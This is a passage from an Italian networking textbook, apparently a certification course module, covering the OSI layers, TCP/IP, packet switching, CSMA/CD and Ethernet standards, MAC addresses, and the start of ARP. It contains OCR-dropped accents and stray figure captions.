nessione di LAN mediante reti dati private), ATM (Asyn-
chronous Transfer Mode - per la trasmissione di voce e
dati su reti telefoniche), Fibre Channel (per l'intercon-
nessione via fibra di computer e unit disco) e Wireless
LAN (reti locali senza fili, nella banda delle microonde).
- 3. Rete. Mentre lo strato 2 usato per controllare la co-
municazione tra due dispositivi connessi direttamente
tra loro, lo strato di rete fornisce servizi di inter-
networking (connessione tra reti). Questi servizi assi-
curano che un pacchetto di informazioni raggiunga la
destinazione dopo un percorso comprendente pi col-
legamenti punto a punto, collegati tra loro da router (di-
spositivi d'instradamento che uniscono reti diverse).
Lo strato di rete si occupa di smistare pacchetti su col-
legamenti multipli. Quando il collegamento unica-
mente locale, come avviene in una LAN (rete locale) al-
l'interno di un ufficio o di un'abitazione, la consegna dei
pacchetti pu utilizzare protocolli semplificati come
NetBIOS (Network Basic Input Output System lorigina-
ria interfaccia di rete del PC IBM), che fanno leva sulle
funzioni dello strato data link per distribuire i pacchet-
ti; per, con l'avvento di Internet e la necessit di colle-
gare la propria rete ad altre, anche distanti, diventato
standard l'impiego di protocolli di rete veri e propri, e in
particolare della famiglia di protocolli TCP/IP. L'Internet
Protocol un protocollo di internetworking che opera
allo strato di rete, dove il mittente e il destinatario ven-
gono riconosciuti sulla base di un indirizzo univoco, va-
lido per l'intero dominio Internet, che prende il nome,
appunto, di indirizzo IP. Tale strato non si occupa di ve-
rificare lintegrit della trasmissione supponendo che,
se lo strato 2 non ha segnalato errori, la rete sia opera-
tiva, e lasciando agli strati superiori il compito di mo-
nitorare la consegna a destinazione dei pacchetti e di
garantire laffidabilit della comunicazione. Il protocol-
lo TCP (Transmission Control Protocol) si occupa di ve-
rificare che la sequenza dei pacchetti sia corretta e che
venga mantenuta nel corso delle operazioni d'instrada-
mento su Internet, dove ogni pacchetto viaggia in ma-
niera indipendente. Infatti, un messaggio di posta elet-
tronica, oppure una pagina Web, devono essere suddi-
visi in pacchetti per poter essere trasmessi mediante IP;
lo strato TCP (equivalente allo strato 4 OSI) verifica che
la sequenza con cui arrivano a destinazione sia corret-
ta.
- 4. Trasporto. Questo strato fornisce un alto livello di con-
trollo sullo spostamento delle informazioni tra i sistemi
terminali di una sessione di comunicazione. I sistemi
terminali possono trovarsi sulla stessa rete o in diverse
sottoreti di un internetwork. I protocolli di trasporto im-
postano la connessione dal punto dorigine a quello di
destinazione, e inviano i dati sotto forma di un flusso di
pacchetti numerati in sequenza, monitorando la tra-
smissione per assicurare la corretta consegna e identi-
ficazione dei pacchetti. Lo strato di trasporto svolge la
funzione di suddividere i dati (segmentazione) in seg-
menti, e di riassemblarli a destinazione. Il flusso di pac-
chetti forma un circuito virtuale, che in un internetwork
pu essere prestabilito con specifichi percorsi attra-
verso i router. Lo strato di trasporto responsabile di
verificare che lo strato di rete sia efficiente, altrimenti ri-
chiede la ritrasmissione o fornisce un codice di errore
allo strato superiore. I servizi di trasporto sono garan-
titi se il software di rete li prevede e li usa; non tutte le
applicazioni richiedono che lo strato di trasporto ga-
rantisca laffidabilit della trasmissione, come nel caso
dei servizi non essenziali (per esempio, i messaggi di
broadcast), o dove la ritrasmissione aggrava il proble-
ma invece che risolverlo (ad esempio, la trasmissione
della voce nella telefonia digitale o la sincronizzazione
degli orologi). Due importanti protocolli di strato 4 so-
no TCP (Transmission Control Protocol) e UDP (User Da-
tagram Protocol).
- 5. Sessione. Lo strato di sessione ha il compito di stabili-
re e mantenere la comunicazione tra due computer. In
generale, si tratta di un processo a tre fasi: stabilire le re-
gole iniziali per la connessione logica, scegliendo tra i ti-
pi di comunicazione simplex (flusso unico), half-duplex
(doppio flusso alternato) e duplex (flusso bidireziona-
le), muovere i dati da un host allaltro e, infine, rilascia-
re la connessione. Lo scambio dinformazioni avviene in
termini di dialogo, per indicare, ad esempio, da dove ri-
cominciare la trasmissione, se una connessione stata
temporaneamente perduta, o dove terminare un data
set (insieme di dati) e iniziarne un altro. Due esempi di
protocolli che operano anche allo strato di sessione so-
no RPC (Remote Procedure Call per attivare a distan-
za moduli di programma) e NFS (Network File System
per accedere a dischi condivisi in rete in ambiente In-
ternet); anche il protocollo PPP opera parzialmente a
questo livello.
- 6. Presentazione. Lo scopo dei processi che operano allo
strato 6 , principalmente, di agire da traduttori per i ser-
vizi dello strato applicativo. Spesso si tratta di converti-
re i dati da un formato proprietario a uno universale e vi-
ceversa, in modo che i protocolli dallo strato 5 in gi in-
teragiscano con dati in formato standard senza essere
coinvolti nelle conversioni. Altre funzioni di questo stra-
to sono la compressione/decompressione e la cifratu-
ra/decifratura dei dati. I protocolli di file sharing (condi-
visione dei file), che trasferiscono i file attraverso la re-
te verso condivisioni di rete (nomi assegnati a risorse
condivise), funzionano allo strato di presentazione.
- 7. Applicazione. Lo strato applicativo fornisce linterfaccia
di rete per protocolli applicativi che vengono utilizzati
direttamente dallutente finale, come HTTP per accede-
re alle pagine web, POP3 per scaricare la posta elettro-
nica, FTP per trasferire file. Tale strato non ha a che fare
con la parte di applicazione che sinterfaccia con luten-
te, e che non rientra nel modello OSI. Lo strato 7 si oc-
cupa solo di determinare lo stato delle comunicazioni
tra due applicazioni. Lobiettivo stabilire se le risorse
sono disponibili per poter iniziare la comunicazione tra
due o pi host, e scoprire se i computer interessati sono
in grado di comunicare. Lo strato 7 comprende nume-
rosi protocolli e applicazioni, molti dei quali sono in gra-
do di fornire un certo servizio anche da soli, ma pi
spesso si integrano a vicenda per fornire allutente una
gamma di funzionalit pi ricca. Tra i protocolli appli-
cativi nella sfera della famiglia TCP/IP citiamo HTTP (Hy-
perText Transfer Protocol - per laccesso alle pagine
Web), SMTP (Simple Mail Transfer Protocol per linvio
di messaggi a un server di posta elettronica), SNMP (Sim-
ple Network Management Protocol per la gestione a di-
stanza di dispositivi di rete), POP (Post Office Protocol
per il prelievo di messaggi da un server di posta elettro-
nica), FTP (File Transfer Protocol per il trasferimento di
file su Internet), TFTP (Trivial FTP, una versione sempli-
ficata di FTP), Telnet (per laccesso via rete a computer
remoti), NFS (Network File System- la condivisione di di-
schi su rete) e NTP (Network Time Protocol, per sincro-
nizzare gli orologi dei computer).
Larchitettura TCP/IP non strettamente conforme al mo-
dello OSI. Alcune parti del modello OSI corrispondono ad al-
cuni dei protocolli e servizi della famiglia TCP/IP, mentre di-
versi strati non vi trovano corrispondenza. Il modello OSI va
considerato prevalentemente come modello teorico utile
per comprendere le diverse componenti di servizio che pos-
sono esistere in una rete. Tuttavia, non mai riuscito a sop-
piantare nella realt il modello pragmatico definito dalla fa-
miglia TCP/IP, che rimasta lo standard di fatto.
Per esempio, non c alcun servizio nella suite TCP/IP
che corrisponda agli strati fisico e data link. Gli unici servizi
di strato 2 previsti, sono quelli forniti dal driver della sche-
da di rete, che realizza direttamente la conversione dei pac-
chetti IP in frame (trame) senza nessun intermediario. Il
protocollo IP passa i dati al device driver, che implementa
linterfaccia data link appropriata per lo strato fisico utiliz-
zato (filo, fibra, radio, ecc.). Di fatto, TCP/IP si appoggia al
sistema operativo per le funzionalit di strato 1 e 2.
Quasi inesistente lo strato 5, che si trova solitamente
coperto da protocolli di livello pi alto che si occupano an-
che delle funzioni di sessione.
La vera corrispondenza con il modello OSI la troviamo
agli strati 3 e 4. Il protocollo IP opera allo strato di rete (3),
tiene traccia degli indirizzi IP dei dispositivi di rete, e sta-
bilisce come devono essere spediti i datagrammi IP (come
vengono chiamati i pacchetti di livello 3 il nome deriva dal
fatto che, alla pari dei telegrammi, la spedizione non tiene
conto della verifica di ricezione, visto che si suppone che
la rete sia abbastanza affidabile da portare a destinazione
qualsiasi pacchetto inviato).
I protocolli TCP e UDP operano allo strato di trasporto
(4 del modello OSI). TCP fornisce un servizio di trasporto
strettamente monitorato e affidabile, mentre UDP usato
per semplice trasporto, senza funzioni di correzione der-
rore o controllo di flusso. TCP e UDP forniscono, inoltre, al-
cuni dei servizi dello strato di sessione.
TCP/IP non offre direttamente un servizio di presenta-
zione, ma ci sono applicazioni che usano un servizio di pre-
sentazione basato su caratteri (ASCII, American Standard
Code for Information Interchange) chiamati Network Virtual
Terminal (NVT); gli NVT sono un subset delle specifiche
Telnet. Altre applicazioni possono usare diverse rappre-
sentazioni dei dati, per esempio di provenienza IBM o Sun,
e altre librerie di programmi per eseguire tali servizi.
TCP/IP ha a disposizione numerosi servizi di presentazio-
ne utilizzabili, ma non prevede un servizio che tutte le ap-
plicazioni siano tenute a usare.
TCP/IP fornisce unampia scelta di protocolli applicativi,
che forniscono alle applicazioni orientate allutente lac-
cesso ai dati scambiati con i protocolli di trasporto. Ad
esempio, un client di email usa il protocollo applicativo
SMTP (Simple Mail Transfer Protocol) quando lutente invia
un messaggio di posta a un server remoto, e SMTP utilizza
regole definite dalle specifiche NVT quando scambia dati
con TCP. IP usato per trasferire i segmenti TCP tra le reti
di origine e di destinazione, mentre i protocolli dipendenti
dallhardware specifico (come quelli che manipolano i fra-
me Ethernet) provvedono a trasferire i pacchetti IP tra i
computer fisici di una rete.
Confronto tra Modello di Riferimento OSI e TCP/IP
Abbiamo citato fin qui il termine pacchetto e altri ter-
mini simili, come frame (trama), datagramma e segmento.
Sebbene sia comune luso della parola pacchetto (packet),
o datagramma, per indicare ununit di dati che si muove
attraverso una rete, levoluzione di TCP/IP ha introdotto va-
ri termini specifici per indicare i dati manipolati dai diver-
si protocolli. La RFC 1122 (Requirements for Internet Hosts -
Communication Layers) li riassume, e ne indica lambito di
utilizzo.
- Frame - trama. Un frame, o trama, lunit di dati che
si muove allinterno di una rete usando il protocollo di stra-
to data link appropriato per quella rete. Esempi di frame so-
no quelli di Ethernet (802.3) e Token Ring (802.5).
- IP datagram - datagramma. Un datagramma IP lu-
OSI vs TCP/IP: confronto
tra i due modelli di
riferimento
nit di dati gestita dal protocollo IP, comprendente i dati
trasmessi e le intestazioni IP associate ai dati.
- IP packet. Un pacchetto IP un altro termine per indi-
care un datagramma IP, ma viene spesso usato per indica-
re la porzione di datagramma che stata inserita in un fra-
me, piuttosto che il datagramma in s. Un sistema che ri-
ceve o trasmette i dati vede un datagramma IP come unu-
nica entit, ma tale datagramma pu essere stato suddivi-
so in diversi pacchetti IP al fine di poter essere veicolato at-
traverso una serie di reti intermedie. Le caratteristiche tec-
niche dalla rete utilizzata determinano la dimensione del
frame e, di conseguenza, il numero di pacchetti in cui un da-
tagramma va suddiviso. Solitamente, gli host (i computer
collegati alla rete) trattano con i datagrammi IP in quanto
unit minima di trasmissione, mentre i router trattano con
i pacchetti IP. Ciascun pacchetto pu seguire percorsi di-
versi, perci diventa necessario garantire la ricomposizio-
ne dei pacchetti nella sequenza corretta al punto di desti-
nazione, al fine di ottenere il datagramma nella sua forma
originale. A sua volta, possono essere necessari numerosi
datagrammi per trasmettere un messaggio o un documen-
to.
- Message. Un messaggio lunit di dati inviata da uno
dei protocolli degli strati superiori (come TCP e UDP), e
comprende sia i dati da trasferire, sia le intestazioni di tra-
sporto associate a tali dati. Il pi delle volte i messaggi so-
no generati da protocolli applicativi, ma possono derivare
anche dallICMP (Internet Control Message Protocol parte
integrante del protocollo IP che gestisce i messaggi di er-
rore e di controllo) e IGMP (Internet Group Management Pro-
tocol un protocollo usato dagli host per comunicare ai
router la loro appartenenza a gruppi di host). I messaggi
vengono suddivisi in vari datagrammi, e costituiscono la
parte dati effettivi (payload, cio carico utile) contenuti in
questi ultimi.
- TCP Segment. Un segmento lunit di trasferimento
inviata da TCP su una macchina a TCP su unaltra macchi-
na. Ogni segmento contiene parte del flusso di dati inviato
dallorigine alla destinazione, pi campi aggiuntivi di con-
trollo, tra cui la posizione corrente nel flusso e una somma
di verifica (checksum) per verificare lintegrit dei dati ri-
cevuti.
Pacchetti e frame
Il modello ISO/OSI resta un riferimento generale impor-
tante, ma non corrisponde esattamente n alla pila TCP/IP,
n alla realizzazione di molti degli attuali apparati. Da un la-
to, la pila TCP/IP stata sviluppata indipendentemente da
quella OSI; daltra parte, gli apparati riflettono pi lobiet-
tivo di ottimizzare le prestazioni che quello della confor-
mit agli standard RFC.
Comunicazioni continue
e a pacchetto
Le comunicazioni analogiche, normalmente, sono ca-
ratterizzate da un flusso continuo dinformazioni. Quando
si parla al telefono, il segnale elettrico che rappresenta i
suoni raccolti dal microfono continua a fluire senza inter-
ruzione sul cavo collegato alla vicina centrale telefonica.
Questo ha il pregio della semplicit, ma nella sua forma
elementare (come nellultimo miglio tra centrale telefonica
e normale utenza) una connessione analogica monopoliz-
za il mezzo trasmissivo, consentendo una sola conversa-
zione alla volta; gli altri utenti che chiamano un numero gi
impegnato in una conversazione, ricevono il segnale di oc-
cupato. Le funzioni di una centrale digitale permettono ser-
vizi di avviso di chiamata e di conferenza, ma il filo tra cen-
trale e normale utente telefonico resta dedicato a un se-
gnale analogico bidirezionale. Si parla, in questo caso, di si-
stema a commutazione di circuito, poich la centrale smi-
sta le chiamate aprendo e chiudendo circuiti fisici. Come
abbiamo visto, lADSL sfrutta un segnale analogico, com-
posto dal segnale audio telefonico e da decine di portanti
di frequenze diverse modulate da segnali digitali.
Tuttavia, anche le comunicazioni digitali iniziarono oc-
cupando un intero canale di trasmissione, come nel caso
delle linee telegrafiche che collegavano le due stazioni agli
estremi della linea. Oggi le reti locali interconnettono anche
migliaia di computer e, a livello geografico, linterconnes-
sione coinvolge circa un miliardo di persone (gli utenti In-
ternet). Per connettere un gran numero di utenti non ci si
pu affidare a linee dedicate a una sola conversazione per
volta, quindi si ricorre a tecnologie che permettono di far
passare pi comunicazioni simultanee su ciascuna linea di
trasmissione. Tralasciando le tecniche di multiplexing usa-
te nel campo delle telecomunicazioni, che sfruttano segnali
elettrici, radio e luminosi (fibre ottiche) per mescolare e se-
parare molti canali di frequenze diverse, qui poniamo at-
tenzione sul modo in cui sono confezionate le informazio-
ni nel mondo digitale, per esempio dentro i computer e sul-
le reti locali.
Se una telefonata blocca una connessione per tutto il
tempo, in una rete di computer un utente pu conversare
con tanti altri contemporaneamente, come quando si
aprono diverse finestre browser per eseguire diverse in-
terrogazioni simultanee. Ci che permette questo uso effi-
ciente delle risorse hardware la suddivisione delle infor-
mazioni in piccole unit, cos che molti utenti (persone, ap-
plicazioni software, dispositivi hardware) possano condi-
videre simultaneamente le risorse hardware. In pratica, le
informazioni vengono preparate in una zona di memoria
(buffer), vengono suddivise in pacchetti (ogni strato dei
protocolli di rete ha il proprio modo di frammentare e rias-
semblare le informazioni in pacchetti), e sono trasmesse un
pacchetto alla volta. I pacchetti di molti utenti viaggiano
mischiati lungo i mezzi di trasmissione, e i pacchetti che
unapplicazione invia in sequenza possono percorrere iti-
nerari diversi, attraverso le reti, prima di arrivare a desti-
nazione, dove vengono rimessi in sequenza e riassemblati
nella memoria del computer di destinazione. Si parla, quin-
di, di reti a commutazione di pacchetto, dove uno stesso
circuito pu portare numerosi pacchetti indirizzati anche
a destinatari differenti, e lo smistamento avviene a livello
del singolo pacchetto. Gli algoritmi che governano i dispo-
sitivi di rete (in particolare i router - instradatori), permet-
tono di scegliere per ogni pacchetto la rotta pi propizia, in
termini di velocit e di costi, verso la destinazione. Se una
tratta soggetta a congestione o guasto, ne viene scelta
una alternativa. A livello locale, i dispositivi di rete usano
opportuni algoritmi, in modo da trasmettere solo quando
la linea libera e, in caso di collisione, provvedono a ripe-
tere la trasmissione di un pacchetto fino alla conferma del-
larrivo a destinazione.
In generale, le comunicazioni a pacchetto sono possibi-
li quando si verificano una serie di condizioni.
- Il flusso dei dati deve essere pacchettizzabile, ovve-
ro suddividibile in frammenti. Ci sicuramente vero se si
tratta di trasferire dati archiviati su disco, per loro natura
gi suddivisi in blocchi. Pi complesso il caso della tra-
smissione dei segnali audio (voce e musica). Il segnale au-
dio analogico digitalizzato campionando il segnale con
una frequenza di campionamento almeno doppia della
5.7.1.2 Conoscere la
differenza fra
comunicazioni
continue e
comunicazioni a
pacchetto
Pacchetti e frame:
esempio di suddivisione
del flusso di dati
massima frequenza audio da riprodurre; i valori digitali dei
campioni, elaborati in modo opportuno (esistono diversi
standard), costituiscono i dati da trasmettere nei pac-
chetti. Si nota subito che il campionamento e la confezio-
ne dei pacchetti introduce un piccolo ritardo (latenza), che
devessere molto breve per non risultare fastidioso nelle
comunicazioni in tempo reale (come pu accadere in una
telefonata intercontinentale).
- La velocit di elaborazione e trasmissione dei dati de-
ve essere abbastanza elevata da non rallentare le opera-
zioni. Questo essenziale nel caso dello streaming, la tra-
smissione di file audiovisivi in tempo reale su Internet (i
formati principali sono Real Video, Real Audio, Windows
Media Audio, Windows Media Video e QuickTime). I file in
streaming sono immediatamente fruibili on line dall'uten-
te senza la necessit di scaricarli prima sul PC, simulando
in tal modo la trasmissione di programmi radiofonici e te-
levisivi. Perch la trasmissione sia fluida, senza interru-
zioni e perdite di dati (che si traducono in riduzione di qua-
lit), lintero canale trasmissivo devessere in grado di tra-
sferire i dati a velocit adeguata e, su tutto il percorso in re-
te, i buffer dei vari dispositivi devono essere sempre di-
sponibili (senza svuotarsi, n saturarsi) per compensare le
fluttuazioni momentanee di velocit.
- Occorre marcare i pacchetti identificandone mittente
e destinatario, in modo che solo il destinatario li utilizzi e
lo faccia sapendo chi il mittente che li ha spediti.
- Occorre avere una strategia di accesso al mezzo di tra-
smissione che eviti che pi dispositivi possano inviare da-
ti contemporaneamente, interferendo luno con laltro. Nei
casi pi semplici, ogni dispositivo ascolta il traffico sul
mezzo trasmissivo e, prima di veicolare, attende che il
mezzo sia libero. Tale tecnica, applicabile sia alle trasmis-
sioni via cavo sia alle trasmissioni radio, detta CSMA
(Carrier Sense Multiple Access, accesso al mezzo da parte
di differenti sistemi previo controllo della presenza della
portante). Il limite delle tecniche CSMA sta nella possibilit
che i dispositivi accumulino i dati da trasmettere in attesa
che si liberi il mezzo trasmissivo e che, quando il mezzo
cessa di essere occupato, inizino a trasmettere contem-
poraneamente, interferendo tra di loro. A questo si pu ov-
viare in vari modi, il primo dei quali monitorare il segna-
le sul mezzo trasmissivo anche mentre si sta trasmettendo,
cos da rilevare quando avviene una collisione e ritra-
smettere i dati dopo un intervallo di tempo casuale, per ri-
durre la probabilit di una nuova collisione. La tecnica
prende il nome di CSMA/CD (Carrier Sense Multiple Ac-
cess/Collision Detection), ed utilizzata dalle reti Ethernet
(IEEE 802.3). Luso della Collision Detection (rilevazione del-
le collisioni) impone limiti alla distanza massima fra due di-
spositivi di rete, che devono poter rilevare le reciproche
trasmissioni entro un tempo massimo. Le reti wireless cor-
renti (appartenenti alla famiglia IEEE 802.11) utilizzano la
variante semplificata CSMA/CA (CA sta per Collision Avoi-
dance), che si basa sullevitare le collisioni: ottenuto il via
libera per iniziare a trasmettere i dati, ogni dispositivo ese-
gue un sorteggio (lancia i dadi) per vedere se trasmettere
utilizzando valori che rendono tanto pi difficile trasmet-
tere quanti pi dispositivi sono presenti: ci simile a
quanto viene eseguito dalle reti CSMA/CD dopo una colli-
sione (algoritmo p-persist). Una risposta pi radicale sta-
ta quella del token ring, nel quale i computer sono dispo-
sti su un anello e ciascuno connesso con cavi ai due com-
puter adiacenti. Ogni computer che vuole trasmettere lo fa
sul cavo di destra, e solo dopo aver ricevuto sul cavo di
sinistra un particolare pacchetto, detto token (gettone);
altrimenti, ogni computer si limita a ritrasmettere ci che
gli arriva dal cavo di sinistra, salvo che sia a esso desti-
nato, nel qual caso lo legge senza ritrasmetterlo. Con que-
sto meccanismo le collisioni non sono pi possibili, e si
possono sfruttare le capacit del cavo sino a saturarlo di
pacchetti. Le reti token ring hanno avuto un breve periodo
di successo, ma sono state superate dalla progressiva cre-
scita delle reti Ethernet, passate rapidamente da 10 a 100,
1000 e 10.000 Mbps (megabit per secondo); inoltre, lampia
adozione degli switch al posto degli hub ha ridotto netta-
mente le possibilit di collisione (entrambi fungono da
concentratori, ma un hub ritrasmette i dati a tutti i nodi
collegati, mentre uno switch trasmette i dati solo alla por-
ta di destinazione).
Protocollo Ethernet,
MAC addresss, CSMA/CD
Oggi la tecnologia pi usata per le reti locali (LAN, Local
Area Network) Ethernet. Il nome comprende vari stan-
dard, relativi soprattutto agli strati di rete 1 (fisico) e 2 (col-
legamento).
Allo strato fisico troviamo vari tipi di Ethernet, definiti
tecnicamente topologie perch definiscono la struttura fi-
sica con cui la rete viene costruita:
- 10Base2. In questa topologia, ormai obsoleta, la rete
costituita da segmenti consecutivi di cavo coassiale (di so-
lito RG58) aventi alle due estremit terminazioni resistive
di 50 ohm (dette in gergo tappi), che hanno lo scopo di
assorbire il segnale evitando riflessioni. Questa tipologia
detta bus lineare, dato che si possono immaginare tutti i
segmenti di cavo allineati a formare un lungo segmento ret-
tilineo. Le interfacce di rete (NIC, Network Interface Card,
scheda dinterfaccia di rete) sono collegate al cavo trami-
te un connettore a T, quindi il segnale trasmesso da ogni
scheda si propaga verso le due estremit del cavo, fino ai
terminatori. Nel percorrere il cavo, il segnale raggiunge tut-
te le schede di rete, che lo possono ricevere (normalmen-
te, solo il destinatario del frame preleva i dati e li passa al
software). La velocit di trasmissione di 10 Mbps; il seg-
mento di cavo coassiale pu avere la lunghezza massima
di 200 m, e pu includere un massimo di 30 stazioni. Il suo
limite consisteva nel fatto che linterruzione del cavo, in
qualsiasi punto, bloccava il funzionamento dellintera rete.
Inoltre, il cablaggio era molto complesso poich era ne-
cessario passare da un computer allaltro in sequenza, e
ogni volta che bisognava aggiungere o togliere una deriva-
zione lintera rete doveva essere interrotta (per scollegare
un singolo computer era sufficiente, invece, scollegarlo dal
connettore a T, lasciandolo come parte integrante della re-
te).
- 10Base5. Questa topologia, anchessa obsoleta, mol-
to simile alla precedente e, di fatto, lha preceduta, utiliz-
zando un cavo coassiale pi grosso (RG8), detto cavo thick
(spesso), a differenza del cavo thin (sottile, RG58) del
10Base2. Il cavo thick presenta una minore attenuazione e
consente di stendere segmenti lunghi fino a 500 metri, con
fino a 100 stazioni collegate. Il limite, in questo caso, era
che lo spessore del cavo costringeva a descrivere curve
ampie, il che complicava il cablaggio. Inoltre, il collega-
mento di un computer alla rete richiedeva unoperazione
molto pi complessa rispetto allo standard 10Base2.
- 10BaseT. Questo caso non utilizza una topologia fisica
a bus lineare, ma una topologia a stella; ogni interfaccia di
rete collegata, tramite un cavo a quattro fili, a un dispo-
sitivo che funge da concentratore. Questo inizialmente era
un hub (mozzo), che si limitava a ritrasmettere il segnale
ricevuto a tutte le altre porte. Oggi vengono utilizzati pre-
valentemente gli switch (commutatori), dispositivi che ap-
prendono quali apparecchiature sono collegate a ogni lo-
ro porta e, in seguito, inviano i pacchetti ricevuti (frame)
solo alla porta a cui collegato il computer (o altro dispo-
sitivo) di destinazione. Gli switch consentono, inoltre, co-
municazioni bidirezionali (full duplex). La struttura a stel-
modalit di
funzionamento di
Ethernet (indirizzo
MAC, CSMA/CD)
la di questo genere di reti offre il vantaggio di poter ag-
giungere e togliere computer in qualsiasi momento, senza
influenzare il funzionamento del resto della rete. La conti-
nuit elettrica dellimpianto viene garantita dallhub o
switch, che prevedono porte di connessione dedicate per
ciascun computer.
I connettori utilizzati sono di derivazione telefonica e so-
no indicati dalla sigla RJ-45 (sono simili, ma pi grandi de-
gli RJ-11, usati per telefoni e modem). Si utilizzano quattro
fili: due per comunicare in un senso (trasmissione), e due
per il senso opposto (ricezione); si usano due fili per dire-
zione perch le comunicazioni sono bilanciate, non usano
cio un riferimento a terra o massa, col risultato di miglio-
rare limmunit ai disturbi. Utilizzando coppie di fili sepa-
rate per trasmissione e ricezione, i dispositivi possono an-
che ricevere e trasmettere contemporaneamente (funzio-
namento in full duplex), raddoppiando la quantit dei dati
trasmessi per unit di tempo. Il cavo utilizzato per le cop-
pie il doppino ritorto (i due fili di ciascuna coppia sono
avvolti uno sullaltro a formare una lunga treccia un espe-
diente utile per ridurre le interferenze). Il doppino simile
a quello usato per gli impianti telefonici e pu essere scher-
mato (STP, Shielded Twisted Pair) o non schermato (UTP
Unshielded Twisted Pair), con caratteristiche elettriche de-
finite in base a determinate categorie (oggi si usa la cate-
goria 5).
Connettore RJ-45
- 100BaseT. Differisce dal
10BaseT per la velocit di tra-
smissione (100 Mbps), ma
non per i connettori. Nella
versione 100BaseTX della fa-
miglia 100BaseT, vengono im-
piegati due doppini in un ca-
vo di categoria 5 (migliore rispetto alla Cat. 3 del 10BaseT).
Normalmente, le interfacce di rete per 100BaseT ricono-
scono automaticamente il tipo di dispositivo con cui dia-
logano (10baseT o 100BaseT), e sono indicate con la sigla
10/100.
- 100BaseF. Questa tipologia non utilizza cavi di rame,
ma fibra ottica che viene utilizzata, generalmente, per con-
nettere tra loro switch di piano nelle grosse reti che si
estendono su interi palazzi di uffici. La fibra ottica pi co-
stosa, ma consente di raggiungere lunghe distanze poich
immune da disturbi elettrici ed elettromagnetici.
- Altre tipologie supportano velocit superiori, come
1000BaseT (Gigabit Ethernet su doppino, gi integrata su
molte schede madri per computer), 1000BaseCX (per la tra-
smissione su cavo schermato), le versioni a fibra ottica
1000BaseSX (laser a onda corta), 1000BaseLX (laser a onda
lunga) e 1000BaseZX (che usa fibra monomodale, invece
che multimodale, per lunghissime distanze) e le versioni a
fibra da 10 Gigabit/secondo.
Il termine Base
che compare nei no-
mi indica una rete
dove il segnale non
modulato, ed
quindi in banda ba-
se: il segnale digi-
tale trasmesso co-
s com, senza vei-
colarlo su una por-
tante.
Per quanto riguarda lo strato 2 (data link o collegamen-
to), le caratteristiche di Ethernet sono le seguenti.
- Ogni dispositivo dotato di un indirizzo detto MAC ad-
dress, ovvero indirizzo MAC (Media Access Control). Ricor-
diamo che lo strato due di Ethernet comprende i sotto-stra-
ti Logical Link Control e Media Access Control. Lindirizzo
MAC composto di 48 bit (6 byte) che vengono assegnati
in modo univoco allinterfaccia di rete (scheda o chip inte-
grato) allatto della produzione, e sono rappresentati da 12
cifre esadecimali (per esempio, 00:00:E2:4F:E8:8D). Questo
indirizzo viene utilizzato come indirizzo del mittente alli-
nizio di tutti i pacchetti (frame) trasmessi; lanalogo indi-
rizzo dellinterfaccia a cui destinato il pacchetto utiliz-
zato come indirizzo del destinatario. Certi pacchetti sono
destinati a tutti nodi di una rete, nel qual caso lindirizzo del
destinatario posto a FF:FF:FF:FF:FF:FF. I pacchetti con que-
sto indirizzo di destinazione si dicono pacchetti di broad-
cast.
- La politica di accesso al canale di tipo CSMA/CD: ci
significa che ogni scheda ascolta prima di trasmettere, e
trasmette solo se il canale libero. Durante la trasmissio-
ne la scheda misura il segnale sul cavo; se esso differen-
te dal segnale trasmesso, significa che anche qualche altra
stazione ha iniziato a trasmettere, quindi viene attivata la
procedura di recupero dopo la collisione. Tale procedura
prevede la trasmissione di un segnale lungo oltre 1500 bit,
composto da 0 e 1 alternati. Lo scopo del segnale, detto jab-
ber, comunicare a tutta la rete che c stata una collisio-
ne, e che prima di riprendere a trasmettere, una volta che
la linea sia di nuovo libera, ogni scheda deve attendere un
tempo casuale e poi verificare di nuovo la disponibilit del-
la linea. Lalgoritmo minimizza la probabilit che si ripeta
subito una collisione tra le stesse schede.
- La rete Ethernet presenta unaltra particolarit costi-
tuita dal cosiddetto heartbeat (battito cardiaco), un bit tra-
smesso circa ogni 18 ms in assenza di comunicazioni. Nel-
le realizzazioni 10BaseT e 100BaseT, la presenza di questo
segnale determina laccensione del LED della scheda di re-
te che indica che il collegamento attivo. Nei dispositivi
che comunicano a 10 Mbps, tale segnale molto semplice,
Uso di un hub
Una scheda di rete 10
Gigabit Ethernet per fibra
ottica
Uso di uno switch
Connettore RJ-45:
vengono impiegati due
doppini
mentre per i dispositivi da 100 Mbps e 10/100 Mbps non si
usa un solo impulso, ma una serie di impulsi e un proto-
collo con cui ogni apparecchiatura segnala alla contro-
parte quali sono le proprie capacit (laltra risponde con-
fermando le proprie). In questo modo, si ottiene una ne-
goziazione automatica delle caratteristiche del collega-
mento (10 o 100 Mbps, half o full duplex). Le apparecchia-
ture capaci di questa funzionalit (oggi la norma) sono det-
te autosensing. La velocit di trasmissione viene, talvolta,
segnalata da un colore diverso del led di connessione po-
sto su ciascuna presa Ethernet RJ-45. Si usa il verde per se-
gnalare la velocit di 10 Mbps, e larancio per segnalare i
100 Mbps; in alcuni casi, tuttavia, il verde usato per tut-
te le velocit disponibili. Laltro led (solitamente giallo) in-
dica la presenza di eventuali collisioni.
Protocollo TCP/IP, indirizzi,
porte, funzionamento
Rispetto alla pila (stack) ISO/OSI, la pila TCP/IP nata
prima, e in modo indipendente. Per tale motivo, non esiste
una corrispondenza diretta tra TCP/IP e ISO/OSI. La pila
TCP/IP comprende una lunga serie di protocolli, di cui
quattro sono fondamentali:
- IP, responsabile dello strato di rete;
- TCP, responsabile sia dello strato di trasporto, sia del-
lo strato di sessione, dato che si occupa di gestire la con-
nessione end-to-end (da un estremo allaltro), curando il ri-
scontro della ricezione e lordinamento dei pacchetti;
- UDP, che funziona in modo non dissimile da TCP, ma
che non si prende cura del riscontro dei dati e, per questo,
detto inaffidabile;
- ICMP, che serve per gestire situazioni quali la sincro-
nizzazione dei dati ed eventuali messaggi derrore da par-
te del protocollo.
Normalmente TCP/IP usato su reti Ethernet, almeno
per quanto riguarda le reti locali (LAN), perci i pacchetti
TCP/IP vengono inseriti allinterno di frame Ethernet. Il fra-
me Ethernet 802.3 ha una lunghezza minima di 64 byte e
massima di 1500 byte, comprendente il carico utile (pay-
load, i dati da trasmettere) e lintestazione (informazioni di
controllo che formano la testa - header - e la coda - trailer -
del frame).
Per abbinare automaticamente il MAC address di una
scheda Ethernet (strato 2) allindirizzo IP a essa assegna-
to (strato 3), si utilizza un ulteriore protocollo, detto ARP
(Address Resolution Protocol). Il computer trasmittente ini-
zia il processo inviando un messaggio broadcast ARP (in
un frame di broadcast ethernet) a tutti i dispositivi colle-
gati alla rete locale (detta anche sottorete o subnet), chie-
dendo qual il computer a cui assegnato un certo indi-
